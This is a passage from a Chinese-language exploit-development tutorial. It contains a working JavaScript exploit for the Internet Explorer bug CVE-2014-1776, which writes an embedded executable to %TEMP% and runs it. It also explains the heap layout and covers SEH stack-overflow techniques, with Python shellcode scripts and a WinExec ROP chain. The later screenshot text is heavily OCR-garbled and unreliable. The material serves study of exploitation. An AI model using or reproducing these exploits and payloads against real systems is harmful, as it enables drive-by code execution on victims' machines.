    mshtml = read(read(read(read(addr + 0xc) + 8) + 0x10)) - 0x3aeb04;
 
    var old1 = read(mshtml+0xebcd98+0x10);
    var old2 = read(mshtml+0xebcd98+0x14);
 
    function GodModeOn() {
      write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
      write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
    }
    
    function GodModeOff() {
      write(mshtml+0xebcd98+0x10, old1);
      write(mshtml+0xebcd98+0x14, old2);
    }
 
    // 以base64编码的exe文件的内容.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // 文本
      bStream.Type = 1;       // 二进制
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // 跳过tStream前面的两个字节(它们是什么呢?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      if (read(string_addr) != 0) {         // 仅当这里是字符串的时候覆盖
        write(string_addr, 0x003a0043);       // 'C:'
        write(string_addr + 4, 0x0000005c);   // '\'
      }
      try {
        bStream.SaveToFile(fname, 2);     // 2 = 如果已经存在的话就覆盖文件
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }
 
    // 解码器
    // [https://gist.github.com/1020396] by [https://github.com/atk]
    function atob(input) {
      var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
      var str = String(input).replace(/=+$/, '');
      if (str.length % 4 == 1) {
        throw new InvalidCharacterError("'atob' failed: The string to be decoded is not correctly encoded.");
      }
      for (
        // 初始化结果和计数器
        var bc = 0, bs, buffer, idx = 0, output = '';
        // 获取下一个字符
        buffer = str.charAt(idx++);
        // 字符在表中找到了吗?初始化位存储,并添加它的ascii码值;
        ~buffer && (bs = bc % 4 ? bs * 64 + buffer : buffer,
          // 如果不是每首4个字符的，
          // 第8位转换为一个ASCII字符
          bc++ % 4) ? output += String.fromCharCode(255 & bs >> (-2 * bc & 6)) : 0
      ) {
        // 尝试在表中找字符(0-63, 没有找到 => -1)
        buffer = chars.indexOf(buffer);
      }
      return output;
    }
 
    function decode(b64Data) {
      var data = atob(b64Data);
      
       // 现在数据像这样
      //   11 00 12 00 45 00 50 00 ...
      // 而不是这样
      //   11 12 45 50 ...
      // 我们来把这个修复一下!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }
 
    GodModeOn();
    var shell = new ActiveXObject("WScript.shell");
    GodModeOff();
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    if (createExe(fname, decode(runcalc)) == 0) {
//      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }
    shell.Exec(fname);
 
//    alert("Done");
  }
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>


这里,我还是对runcalc进行了部分省略.你可以从附件中下载完整的代码.


这段代码运作的不错,但是IE可能时不时的崩溃.这并不是个大问题,因为当用户关闭这个崩溃对话框的时候,该页面就会重新加载,该漏洞利用程序又会再次运行.


新代码有些细微的地方我们需要重点讨论的.我们从trigger()开始:


  function trigger() {
    var head = document.getElementById("haed")
    tmp = document.createElement("CVE-2014-1776")
    document.getElementById("vml").childNodes[0].appendChild(tmp)
    tmp.appendChild(head)
    tmp = head.offsetParent
    tmp.onpropertychange = function(){
      this["removeNode"](true)
      document.createElement("CVE-2014-1776").title = ""
      
      var elem = document.createElement("div");
      elem.className = getPattern([
        0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]
        0x118, magic_addr + 0x24 + 0x24,    // U; U --> (*); U-0x24 --> b[1]
        0x198, -1                           // bit 12 set
      ], 0x428);
    }
    head.firstChild.nextSibling.disabled = head
  }



getPattern这个函数采用如下形式的阵列


[offset_1, value_1,
 offset_2, value_2,
 offset_3, value_3,
 ...]



和该模式以字节为单位的尺寸.该模式返回的是位于指定偏移处的指定大小(value_1,value_2,等…)的字符串.我希望注释已经足够清楚了.例如,我们思考一下这一行:


        0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]



这意味着


X = magic_addr + 0x20 - 0xc



这定义为:X+0xc指向b[0],这里b[0]是位于magic_addr(在我们的代码里的0xc000000)处Array(数组)的第一个元素.


为了更好的理解,我们来思量一下完整的架构:


  .
  .
  .
      elem.className = getPattern([
        0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]
        0x118, magic_addr + 0x24 + 0x24,    // U; U --> (*); U-0x24 --> b[1]
        0x198, -1                           // bit 12 set
      ], 0x428);
    }
    head.firstChild.nextSibling.disabled = head
  }
 
  // 这个对象占0x428字节.
  // 控制这个bug的条件,强制位于magic_addr+0x1b处的dword自增1:
  //   X = [ptr+0A4h] ==> Y = [X+0ch] ==>
  //               [Y+208h] is 0
  //               [Y+630h+248h] = [Y+878h] val to inc!      <======
  //               [Y+630h+380h] = [Y+9b0h] has bit 16 set
  //               [Y+630h+3f4h] = [Y+0a24h] has bit 7 set
  //               [Y+1044h] is 0
  //   U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch],
  //               [W+0ah] has bit 1 set & bit 4 unset
  //               [W+44h] has bit 7 set
  //               [W+5ch] 可写
  //   [ptr+198h] has bit 12 set
 
  window.onload = function() {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000; ++i) {
      a[i] = new Array(array_len);
 
      var idx;
      b = a[i];
      b[0] = magic_addr + 0x1b - 0x878;         // Y
      idx = Math.floor((b[0] + 0x9b0 - (magic_addr + 0x20))/4);         // Y+9b0h的索引
      b[idx] = -1; b[idx+1] = -1;
      idx = Math.floor((b[0] + 0xa24 - (magic_addr + 0x20))/4);         // Y+0a24h的索引
      b[idx] = -1; b[idx+1] = -1;
      idx = Math.floor((b[0] + 0x1044 - (magic_addr + 0x20))/4);        // Y+1044h的索引
      b[idx] = 0; b[idx+1] = 0;
      // 下面的地址将为负数,所以我们加上0x10000让这个地址
      // 从该array(数组)之前的一个副本转换为现在的这个.
      idx = Math.floor((b[0] + 0x208 - (magic_addr + 0x20) + 0x10000)/4);   // Y+208h的索引
      b[idx] = 0; b[idx+1] = 0;
 
      b[1] = magic_addr + 0x28 - 0x1c;          // V, [U-24h]; V+1ch --> b[2]
      b[(0x24 + 0x24 - 0x20)/4] = 0;            // [U] (*)
      b[2] = magic_addr + 0x2c - 0xa;           // W; W+0ah --> b[3]
      b[3] = 2;                                 // [W+0ah]
      idx = Math.floor((b[2] + 0x44 - (magic_addr + 0x20))/4);      // W+44h的索引
      b[idx] = -1; b[idx+1] = -1;
    }


我们来思考一下该架构的这一部分:


  //   X = [ptr+0A4h] ==> Y = [X+0ch] ==>
  //               [Y+208h] 为 0
  //               [Y+630h+248h] = [Y+878h] val to inc!      <======


正如我们已经看到过的,


0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]



意味着


X = [ptr+0A4h] = magic_addr + 0x20 - 0xc

所以,X+0cx指向了b[0].


然后我们有


b[0] = magic_addr + 0x1b - 0x878;         // Y

这意味着


Y = [X+0ch] = magic_addr + 0x1b - 0x878

该架构告诉我们,[Y+878h]必须是递增的.事实上,Y+0x878是magic_addr+0x1b(指向了位于magic_addr(在我们的代码中的0xc000000)处的Array(数组)的长度的最高字节).注意,我们增加位于magic_addr+0x1b处的dword具有递增相同地址处字节的效果.


该架构还决定了[Y+208h]为0.这是通过如下行完成的:


idx = Math.floor((b[0] + 0x208 - (magic_addr + 0x20) + 0x10000)/4);   // Y+208h的索引
b[idx] = 0; b[idx+1] = 0;


这里有两个要点:


1.Y = b[0] =
magic_addr + 0x1b – 0x878,所以它不是4的倍数.因此,Y+208h也不是4的倍数.为了修改[Y+208h]这个错位了的dword,我们需要修改dword [Y+206h]和[Y+20ah](同理,元素b[idx]和b[idx+1]).这就是为什么我们要使用Math.floor.


2.计算值b[0]+0x208 – (magic_addr + 0x20)为负数.因为我们选择了Y,所以Y+878h指向了位于magic_addr处的Array(数组)的头部,Y+9b0h和Y+0a24h(见架构)指向了同一个Array(数组),但是Y+208指向了前一个Array(数组).所以每个Array(数组)将具有相同的内容,由于相邻的Array(数组)相距0x10000字节,通过向位于Y+208h+10000h地址处的内存单元写入该值(即,在当前的Array(数值)中),我们也最终会将值写入到位于Y+208h地址处的内存单元中.


总结,注意,trigger这个函数仅仅只调用一次.一个单一的增量已经绰绰有余了,因为我们只需要向位于magic_addr地址处的Array(数组)越界写入几个字节而已.













为栈分配更多空间


如果你漏洞利用不成功,那么有可能是栈空间不足,放不下整个payload(攻击载荷),导致fread内部引发了非法访问,从而崩溃,这样漏洞也就利用不成功了.栈空间不足最简单的解决方法就是像下面这样做:


将这一段代码


int main()
{
    <main的内容>
}



修改为:


_declspec(noinline) int old_main()
{
    <main的内容>
}
 
int main()
{
    char moreStack[10000];
    for (int i = 0; i < sizeof(moreStack); ++i)
        moreStack[i] = i;
 
    return old_main();
}



举个例子,也就是将:


int main()
{
    char name[32];
    printf("Reading name from file...\n");
 
    FILE* f = fopen("c:\\name.dat","rb");
    if (!f)
        return -1;
 
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    fread(name, 1, bytes, f);
    name[bytes] = '\0';
    fclose(f);
 
    printf("Hi, %s!\n", name);
    return 0;
}



修改为:


_declspec(noinline) int old_main()
{
    char name[32];
    printf("Reading name from file...\n");
 
    FILE* f = fopen("c:\\name.dat", "rb");
    if (!f)
        return -1;
 
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    fread(name, 1, bytes, f);
    name[bytes] = '\0';
    fclose(f);
 
    printf("Hi, %s!\n", name);
    return 0;
}
 
int main()
{
    char moreStack[10000];
    for (int i = 0; i < sizeof(moreStack); ++i)
        moreStack[i] = i;
 
    return old_main();
}



这个栈变量moreStack会为我们分配足够的空间.记住栈是往低地址方向增长的,而fread写入缓冲区是往高地址方向增长的.如果不在栈中额外分配空间的话,fread可能会耗尽栈空间,从而触发异常导致程序崩溃.


但是呢,有的时候,你恰恰需要fread耗尽栈空间触发异常,这样你的异常处理程序就会被调用(基于SHE的漏洞利用).而此时,栈空间又偏偏能够放的下你的payload.囧!!!所以有的时候,你需要的栈空间可能大一点,而有的时候你需要的栈空间可能小一点,这就要结合具体情况来看了,你可以根据自己的需求来相应地修改moreStack的大小.




main中的这个for循环是必须要的,如果你不使用for循环的话,moreStack可能会被编译器优化掉.还有就是,如果old_main函数被作为内联函数的话,那么name这个缓冲区就会被分配在moreStack之后(即name更靠近栈底了),这样就与我们的初衷背道而驰了.为了防止old_main函数被内联,我们需要使用_declspec(noinline)修饰符.


为了让大家更容易理解,这里附上一张示意图:
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xor  eax, eax
test  ecx, ecx
iz short loc_6397E512]

eax, [ecx+0Ch]

loc_6397E512:
nou eax, [eax+1C8h]

test  byte ptr [eax+BCh], 1

jnz loc_638C28BA
2 ¥
=i =]
nou  eax, [eaxshln]
nou eax, [eax38n]| |1oc_638c28Dn:

xor  eax, eax
imp  loc_6397E528
: END OF FURCTION CHUNK FOR ?UpdateMarkupContentsUersion@CHarkup@agaExxz|

10c_6307E528:
cnp edx, eax
iz 1oc_6397E868

B ;
=

i START OF FUNCTION CHUNK FOR 7UpdateMarkupContentsuersionGCHarkup@ajREXX?|

1oc_6307E868:
test  ecx, ecx
iz locret_6397E530

nou  ecx, [ecx+OCh] ; this
test  ecx, ecx

iz locret_6397E530

— A

=] ==l

push  esi
locret_6397€530: lea  esi, [ecx+0C5sn
retn mou  eax, [esi]
2UpdateHarkupContentsUersion@CHarkup@@OAEXXZ endp push  edi

nou  edi, 4000h

test  edi, eax

iz 1oc_63802896
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B-byte header | Ox 56 ‘byte LargeHeapBlock|
B-byte header [0x 5% byte raw bufter
B-byte header |03 5¢ ‘byte LargeHeapBlock|

XIS R EIEN S E SR

These data structures are allocated on IE's custom heap

0x0]

aliocation header

0x10:

Array header

0x20;

arayiol
rraylOx3b17]

0xf000:

Int32Array

Oxfo3(

Int32Array

Oxffco|

Int32ATray

oxfifo:,

‘Allgnment padding

Array(0x3bf8)

0x55 Int32Arrays
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; Ottributes: bp-hased frane
; __int32 _tniscall Hostbispatch::GetiostUarianturapper(Hostbispatch =this, struct Wostvariant ssp_var_14)
7GetHostuariantiirapper@iostdspatchE@ANEJPAPAVHOSLUIrianta@a2 proc near

lp_var_14= duord ptr ®

X = [this+0ch]
var_14 = [X+8]

hou  edi, edi

short loc_1008193D
7GetHostuarianturapper@iosthispatchERRAE IPAPAVHOStUar i ant@aa? endp
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Memory

[ Previous || Virtual: 0x046b£180

Display format: [Long Hex > ([

E=

Next

[naebE180
046bf1a0
0D46bs 100
D46bf 120
0461200
0D46bi220
04601240
D46bs260
0461280
046b£2a0
0D46b 200
046bs 220
0461300
0D46b£320
046b:340
D46b£360
046b£380
046bs 220
046bs 300
046bs 320
0461400
D46bs 420
0D46b 440
D46b460
046bs 480
046bs 420
D46bs 420

Memory

T 04bb4534
00000000
00000000
03802340
037108
EEELEEEE
03816200
03889630
EEELEEEE
03871000
00000p20
o000g|
03814
00000)

00000
03820)
00000)
00000t
00000000
00000043
00000000
04572850
04Bb3£9=
00000000
EEELEEEE

Virtual; 055£0010

0387680
03802390
00000000
EEEEEEEE
00000000
0382cab0
00020001
03889£B0
00000229
EEELEEEE

{15 N5 array_len+0x10050

09099 0xaffB+0x100=0x4018 FEFKEFRIMES LT

00000000

EEEEEEEE
££££0701
0457220
0381£280
GEE1fe9f
04£7d080

00000000
00000000
04£72360
0382caB0
00000000
03802200
00000041
00000201
04£70958
00000000

00000001 [000040£9]
00000000 O00GOOI0
00000101
03802950
00000000 ¢380a230
EEEEEEEE/037510e8
0000000¢ 00000001
0000000 037£10e8
EEELEAEE 00000024
00000000

SREHKEERIONA0f+1

Display format:Zons

0

00000000
00000000 04Bb3£9c
00000000 00000000
00000000 04£72850
00000000 00000003
EEELEEEE 03929040

Hes

055£0010
03821010
00000000
037£1100
EEELEEEE
0380a3£0
0000000£
EEELEEEE
0382cab0
00000000

£E££0701
00000000
0387£300
6E£1£5e8
04£7ac20
EEEFEEEE
00030113

055£0010
0387££00
00000000
038023a0
04570958
00000002
00000003
00000222
00000001
00000000
33802260
noo0000
0000022
0000001
0000000
0000429
0000000
0000000
£££0701
w4t 7deds
00000000
EE££0701
03818700
00000000
00000745
04£7dcds
00000000

"‘Wﬂmﬁ\‘

00000000

04bcibla
00000000
00000001
03802210
037£1100
00000247
0381d680
00000351
00000000
046b£2a0
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
EE££0701
00000000
00000000
00000000
00000000
00000000
00010777
048a££40

055£0010
055£0030
0550050
055£0070
055£0090
055¢0050
055¢00d0
055£00£0
055£0110
0550130
0550150
055£0170
055£0190
0550180
0550140
055£01£0
055£0210
055£0230
055£0250
055£0270
055£0250
055¢0250
055¢02d0
055£020
055£0310
055£0330
055£0350

00000000
00000123
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002

000409

000012,
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002

20003££8
00000123
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002

00000000 00000123
80000002 80000002
80000002 80000002
80000002 80000002
80000002 80000002
80000002 80000002
80000002 80000002
80000002 80000002
80000002 80000002
80000002 80000002
80000002 80000002
80000002 80000002
80000002 80000002
80000002 80000002
80000002 80000002
80000002 80000002
80000002 80000002
80000002 80000002
80000002 80000002
80000002 80000002
80000002 80000002
80000002 80000002
80000002 80000002
80000002 80000002
80000002 80000002
80000002 80000002
80000002 80000002

00000123
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002

00000123
80000002
80000002
80000002
80000002
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80000002
80000002
80000002
80000002
80000002
80000002
80000002
80000002
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80000002
80000002
80000002
80000002
80000002
80000002
80000002
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80000002
80000002
80000002
80000002
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int mainf) |
ehar name(32];
printReading name from file.\n");

FLE* = foper(c:\\name.dat
i

return -1;
fseeklf, OL, SEEK_ENDY;
long bytes = frelf);
foseldf, OL, SEEK SET);
freackname, 1, bytes,
namefbytes] = 0%
feloself);

%

printf°HI, %s\n’, name);
return 07
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[pop ebx ~—value_for_ebx

- pop eax < value_for_eax < esp
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File Edit

Format Run Options Windows Help.

snel.

bloc)
£.uz

| w20 openzt

truct

\but.gact, ‘wn') as I:
1code = (

"\x28\XEF\XEE\ XL\ KEE 00\ X5 T\ xb2\ X111 %03\ %02\ x02\ %81 \x£1\x02\ 02"
"\x02\x02\ %83\ %57\ x1d\x33\ x£6\ xFc\ xBa\ %07\ X3\ x02\ x0T\ %44 \ xc6\ xaa"
"\x22\x£6\%55\ %35\ x=c\ X85\ x2c\ X0\ X561 %57 | xb2\ x7£\ x00\ x54 \ K75\ k28"
"\x55\x02\%02\x02\ xb2\ x20\ %53\ x32 \ x40\ x8D\ x£8\ x=6\x49\ %02\ %02\ x02"
"\x8B\X£0\ %07\ %45\ xE4\ %63\ %61 \ x6c\ x63\ %63\ %05\ x5\ x43\ x£4 \ x0T\ k45"
"\x£8\x22\%65\ %78\ x65\ x50\ 06\ %45\ KEC\ %02\ XL\ X7\ k62 \ %02\ XEL\ xcl6"
"\x52\x33\ %0\ %52\ x8b\ x5\ x50\ xo3\x33\ %42 \ x=b\ x10\ %01 \xca\ x0d\ k3"
"\x61\ x0T\ xba\xc0\ X7\ X031 %83\ x28\ x20\ %03\ xt0\ x41 | XEa\ %01 \x24 \ xc0"
"\x75\x2a\%8p\ %02\ xo3\x8d\ %41\ X728\ xo3\ 55\ %8B\ x=c\ x83\ xec X1 4\ X33
"\ %56\ 57\ %89\ xad\ x£4 \ x84\ a1\ x50\ x02\ %02\ %02\ x89\ x43\ x£c\ x5B\ k45"
"\x£c\XED\ x40\ X0\ XED\ x40\ %14\ X35\ X£8\ x89\ %45 \ x=c\ xED\ x0T\ x28 \ k22"
"\XEE\XEE\XEE\ RSB\ X3\ XED\X70\x15\ X85\ x£6\ %74 \ x4 T\ xED\ %46\ x3c \ x8D"
"\x5\ x50\ %78\ %35\ xdb\ x74\ %44\ X35\ x4c\ X33\ %0\ x03\ xoe\ %28\ %96\ xEE"
"\XE£\XEE\ %8P\ R4C! X33\ x20\ %89\ x45\ x£8\ 03\ xc\ X33\ x00\ %89\ xac\ xEO"
"\x89\x45\ k201 %32\ %44\ X33\ %15\ %76\ %22\ x8D\ %02\ x81 | x03\ xca\x28\x75"
"\XEE\XEE\XEE\X03\ x45\x£8\ %30\ x45\ k24 \ %74 \ X1\ XED\ 43\ xEC\ XSD\ x4a"
"\x£0\ x40\ %89\ %45\ xEc\ 3D\ %44\ x33\x15\ %72\ xi=\ x50\ x7d\ x2C\ X75 \ x0="
"\x33\x00\ %57\ %52\ x50\ X8\ %25\ x5d\ x03\ %55\ x4\ KFC\ 5D\ 244 \ X33\ k24"
"\x8d\x04\ %45\ %07\ xb7\ x0=\ %30\ X85\ k44 \ £33\ %1\ x84\ x04 | %88\ %55 x04"
"\x30\x03\ %6\ x=b\ xdd")

T o S

vitable = "asaa" + struct.pack('<I', 0x0a000028) & BT EEN
code = vftable + shellcode + '='%(0x10000 — l=n(shellcode) — len(vftable))
block size = 0x100000-0x30

X = coder (block size/len(code)) + code[:block size & len(code)]
1te (block)
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; Attributes: bp-based Frame

7SaveToF i 1e@ES trean@AUAGJPAGYASaVe0ptionSENUNGAGZ proc near

Nunber0FBytesiiritten= duord ptr -950h
bstrString= duord ptr -9uCh

var_ous- byte pte -9ush

var_930- duord ptr -930h

var_92C= duord ptr -92ch

var_924= duord ptr -92uh

Str2- duord ptr -920n

var_91C~ duord ptr -91Ch
nhunber0fBytesTolirite= dword ptr -918h
var_914= duord ptr -91sn

hobject= duord ptr -910h

Buffer= byte ptr -90Ch

MultiByteStr= byte ptr -10Ch

byte ptr -8

duord ptr -4

duord ptr 8

arg_u- dword ptr 6ch
duCreationdisposition= dword ptr 10h
nov  edi, edi

push  ebp

nou  ebp, esp

sub  esp, 950n

mou  eax, __security_cookie

xor  eax, ebp

nou [ebpevar_4], eax

mov  eax, [ebprarg_4]

push  ebx

push___esi.

mov esi, [ebpethis]

push —edi

nou [ebpsstr2], eax

test  esi, esi

iz short loc_1D7B9E1A

lea
imp

ebx, [esi+BCh]
short loc_1D7B9E1C]

xor'

1oc_1D7B9E1A:
ebx, ebx

; _intd2 _stdcall CStrean::SaveToFile(CStream »this, unsigned _int16 x, DWORD duCreationDisposition)

==
1oc_1D7B9E1C: ; this
lea  ecx, [esisson]
call  7GetCritSec@CSerializedObject@EQAEPAPAVCCriticalSection@EXZ ; GSerializedObject::GetfritSec(void
lea  ecx, [ebpruar_948] ; this
nou  edi, eax
nou [ebpruar_930], ebx
call  ?Init@CCONtext@AAEXXZ ; Chontext::lnit(void)

cnp

byte_1D7D2144, ©§
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[File Edit Format Run Options Windows Help

# —*— coding: ucf-g ——

|wics open('e:\\name.dac!, 'wb') == £:

Jmp = '\xeb\xOE\x30\x30"

handler = '\xe2\x28\x28\x00"

shellcode = (M\xeS\xEF\XIE\XEI\KEE\NCO\KSEAKDO\X11\RO3\X02\X02\REL\RF1\X02\R 02"+
"AROZ\KO2\KES\RCT\KIG\ X3\ REE\RECAXER K0T \RICA K02\ XOF \ K44\ KCE \ ka2 "+
"\xe2\XE6\X5S\RED\ KeC\KES\ KeCA XOCA XS\ X5 T \ KD\ KT E\KCO\ KB4\ KTDA RS+
PAX55\X02\ %02\ %02\ Kb\ xeD\ K53\ K31\ X4D\XEL\ RTE\ KeB\ x40\ X2\ XO2\ 02"+
PAREDAREO\KCT\ R4\ KT\ K63\ K61\ X6C\ KE\ X2\ KOS\ KES\ K4S\ KT4\ KT \ RS+
PAREE\X2e\XES\RTE\KES\ RSO\ KCE\ RES\REC\ X2\ REE\ RAT\ K62\ K2\ KEE KA+
PARSE\X33\KCO\ RS\ KED\ KeS\X5A\ KCI\ X33\ X2\ KeBA KLO\XCI \ KGR\ XA\ I+
PAX61\KOT\xbe\RCO\KTCA XIS\ KE S\ KeB\R20\ KO3\ KAD\ K41\ K2\ RO\ KE4 \ XSO+
"\xT5\xea\XEBANC2 \KCI\ KB\ K41\ XTE\RCI\ XS\ RED\ KeCA KES \ KeCA K14\ K53+
PARSE\XST\XES KA\ KT\ X641 221\ X501 %02\ %02\ XO2\ KE S\ K4S\ RECA REDA KAS 4
PARECAKED\X40\RGCA KEDA XS0\ K14\ KEDAREE\ KE\ K45\ KeCAKED\ NCE\ ReB\XA2 "+
P\REE\REE\REE\REBAKSE\KEDART 0\ K1E\XES\KEE\RT4\ KEE\KEDA R 6\ XICAKED" +
PARSCARIO\RTE\KES\ KdDAKT4\ K44\ KED\RSC\ X3\ ROCA KO\ KCR \ KB\ KTE\KEEN+
PAREE\REE\XEB\RSCAKIZ\ K20\ KBS\ KA\ XEE\ XTI\ KT\ KIF\KCONKE S\ KA\ REO 4
ARSI\ R4S\ XECAKIT\ K44\ X3\ K1E\RT 61 X22\XEBAROCA KEL\ KO3\ KCR\ KB\ KT 54
PAREE\REE\REE\RO3\ K4S\ REE\ X3S\ RAS\ T4\ XT A\ KIS\ KED\ R4S\ RECA REDA KT+
PAXEO\RS0\XKES\RES\REC\XIEA R4\ X33\ K1\ KT 2\ Kt \ KIDAR TS\ K CART S\ ROCH+
"\X33\XCO\KSE\ RS\ KSPAKED\ K5\ XSA\KCI\ BB\ KA\ KECA KEDA R4\ XT3\ 224"+
PARSA\X04\K4E\RAE\ KB\ XOCA K30\ KED\ K44\ XTI\ KICA KBS\ KOS\ KEE\ KEDA KO A"+
"\X30\%03\xCE\KeBARAA")

data = '='*96 + jmp + handler + shellcode

f.write(data + 'c' * (10000 - len(data)))
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1
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Downloads: 594
Dev status: Alpha )

RECOMMENDED DOWNLOAD

- PYKD_BOOTSTARPPER 1.0.1.10.2ip

application. 332K, uploaded Sep 22 - 594 downloads

PYKD 0.2.0.29

Average user rating: No reviews yet
Reviewed: 0 reviens
Downloads: 5763

EUTH E ZEA Dev status: Beta )
# T veredist_x8641
veredist_x64R9F4ER, DOWNLOADS

- pykd-0.2.0.28-python-2.6.2ip
application, 10387K. uploaded Mar 3, 2014 - 447 downloads

- pykd-0.2.0.29-python-2.72ip

application. 10387K. uploaded Mar 3, 2014 - 1638 downloads

- Pykd-0.2.0.29-x64-pythen-26-setup.exe
application, 840K, uploaded Mar 3, 2014 - 220 downloads

- pykd-0.20,29-x64-python-2.7-setup.exe

application. 5838K, uploaded Mar 3, 2014 - 1607 downloads
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DialogBox function (Wi x

C' | & https:/msdn.microsoft.com/en-

s/library/windows/desktop/ms645452%28v=vs.85%29.aspx

DialogBoxParam

Dialogproc

Endbialog

GetDialogBaseUnits

GetDlgCtriiD

Getpigitem

GetDigitemint

GetDigitemText

GetNextDIgGroupitem

GetNextDigTabitem

IsDialogMessage

MapDialogRect

MB_Getstring

If the function succeeds, the ratum value is the nResult parameter in the call to the EndDialog function used ta terminate the dialog box,

1 the function fails because the hWndParent parameter is invalid, the return value is zero. The function returns zero in this case for compz
versions of Windows. I the function fails for any other reason, the retum value is ~1. To get extended error information. call GettastError.

This function typically fails for one of the following reasons:

* an invalid parameter value
* the system class was registered by a different module

* The WH_CBT hook is installed and returns 2 failure code

* if one of the controls in the dialog template is not registered. or its window window procedure fails WM_CREATE or WM_NCCREATE

Remarks

The DialogBox macro ses the CreateWindowEx function to create the dialog box. [ialogBox then sends a WM_INITDIALOG message |

TEsE3ge 1 The Template speciies Th DS SETFONT or DS SHELLFONT Siy1eTTo The dislog box procedure, The function displays the dislos
whether the template specifies the WS_VISIBLE style), disables the owner window, and starts its own message loop to retrieve and dispat
box.

When the dialog box procedure calls the EndDialog function, DialogBox destroys the dialog box, ends the message loop, enables the ow
enabled), and retums the riResult parameter specified by the dialog box procedure when it called EndDialog.

Examples

For an example, see Creating a Modal Dialog Box

Requirements

‘ Minimum supported client ‘ Windows 2000 Professional [desktop apps only] ‘

‘ Minimum supported server | Windows 2000 Server [desktop apps only] ‘
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for (Figure #f : figures)

o5, [esp+30H]

duord ptr [espt38hl, eax
edi,3

ebx, [ebx]

eox, uord ptr [esi

printf (“area: ¥1f\n’, f->gsthrea())

74 24 30 lea
44 22 38 oy
03 00 00 00 o
9500 00 00 00  lea
e nov
ol oy
o0 oy
o0 call
EC 08 sub
1€ 22 £5tp
18 21 0a 00 push
8 call
Cd 0c add
76 02 lea

dec
B2 ins
retum 0

eax, duord ptr [scx]
eax, duord ptr [sax]
esp, 8

quord ptr [esp]
42118k

ebx

e5p, 0CH

esi, [esitd]

edi

maint 040K (0410E0K)





OEBPS/Images/ch12_image035.jpg





OEBPS/Images/ch13_1_image028.jpg
450020:11140010-00000000






OEBPS/Images/ch1_image058.jpg
1 00000700" £6
0000001 :
Be
bl






OEBPS/Images/ch13_4_image029.jpg
fie2 8, et

o

e i
[

frst it v festoant, o

£ St teroa

——






OEBPS/Images/ch4_image002.jpg





OEBPS/Images/ch13_1_image031.jpg
Luw n iscriptd

= Ilni jscripts
In Oz6eladleh
1db 026110000





OEBPS/Images/ch3_image008.jpg





OEBPS/Images/ch8_image016.jpg
o s
ﬁﬁ;ﬁ-‘&‘(ﬁtﬂu s rbreind -‘:ﬂwmﬂ'ﬁ-ﬂiﬁwq

- opL =t -l ]
atints “eEetors B s ™ LT






OEBPS/Images/ch9_image015.jpg
ret_for_ExitThread
duExitCode

# cmd+2ah:
for_ebp

skip:
di

# here:
eax = edi

sax =36

dword ptr [eax]

cax =2

cax =6
swap(eax,=cx)

[eaxt0eh] = ecx

# DD £5P,24 4 POP EBP # RETN

#E R ekt 4 -

winExecHIE—ABY (EFHHENE)
WinExecBIE= DB

o

ExitThresdf E— 25

|
el ‘
|

# INC EST # PUSH ESP # MOV EAX,ED1 # POP EDL # POP ESI # POP E3P # RETN 0x04.
-> BLE =di = here

XCHG EAX,ED1 # RETH
~=-=> BE eax = here

"

SUB £4X,7 # PO £EX # POP
SUR EAX,7 # POP EEX # POP
SUB EAX,7 # POP. 8% # POP
SUB SAX,7 # POP EBX # POP
SUB €AX,7 # POP E5X # POP
SUB EAX,2 # POP £GP # RETN
INC SAX # RETH

> T eax = cots (Bl ==x

S

> Valiie to zero-aut)

XOR EEX,ECK # XCHG SOX,DMORD PTR [Z4X] # POP ESI # POP E87 # RETN

# SUB S8X,2 % POP EP # RETN
# o> B caxtoch - codsidh (5. eaxtoeh --> T HHETIpCndLine)

XCHG EAX,ECX # MOV EDX,653FB4A5 # RETH.
XOR EAX,EAX # RETN
XOR EAX,ECX # POP £HP # RETN 0x05

o

SUB EAX,2 # POP EBP # RETN
SUB £AX,2 # POP ESP # RETN
